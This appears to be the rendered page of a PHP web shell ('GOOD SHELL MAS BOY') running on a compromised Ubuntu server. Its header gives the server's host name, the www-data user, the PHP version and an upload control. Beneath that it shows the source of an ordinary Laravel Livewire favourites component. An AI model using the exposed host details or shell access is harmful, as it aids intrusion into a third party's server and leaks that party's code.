GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/html/app/Livewire/Buyer/Favorites.php
<?php

namespace App\Livewire\Buyer;

use Livewire\Component;
use App\Services\ApiEndpoints;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Session;

class Favorites extends Component
{

    public $user;
    public $favorites = [];

    public function mount()
    {
        $this->user = Session::get("user");
         Session::forget('success');
        Session::forget('error');
        if ($this->user) {
            if (Session::get('gig_slug')) {
                $slug = Session::get('gig_slug');
                $this->updateFavorite($slug);
            } else {
                $this->fetchFavorites();
            }
        } else {
            Session::put('redirect', 'favourite');
            return redirect()->away('/google');
        }
    }

    public function fetchFavorites()
    {
        try {
            $apiEndpoints = new ApiEndpoints();
            $headers = $apiEndpoints->header();
            $response = Http::withHeaders($headers)
                ->get(ApiEndpoints::fetchFavorites());

            if ($response->successful()) {
                $this->favorites = $response->json()['data'];
                // Session::flash('success', $response->json()['message']);
            } else {
                Session::flash('error', $response->json()['message']);
            }
        } catch (\Throwable $e) {
            Log::error($e->getMessage());
            $this->addError('orders', 'Failed to fetch gig favorites. Please try again later.');
        }
    }

    public function updateFavorite($slug)
    {
        try {
            $gig_slug = Session::get('gig_slug') ?? $slug;
            $body = [
                'gig_slug' => $gig_slug,
            ];
            // dd($body);
            $apiEndpoints = new ApiEndpoints();
            $headers = $apiEndpoints->header();
            $response = Http::withHeaders($headers)
                ->withBody(json_encode($body), 'application/json')
                ->post(ApiEndpoints::addFavorites());
            if ($response->successful()) {
                $this->redirect('/account/favorite', navigate: true);
                Session::flash('success', $response->json()['message']);
                Session::forget('gig_slug');
            } else {
                Session::flash('error', $response->json()['message']);
            }
        } catch (\Throwable $e) {
            Log::error($e->getMessage());
        }
    }

    public function render()
    {
        return view('livewire.buyer.favorites');
    }
}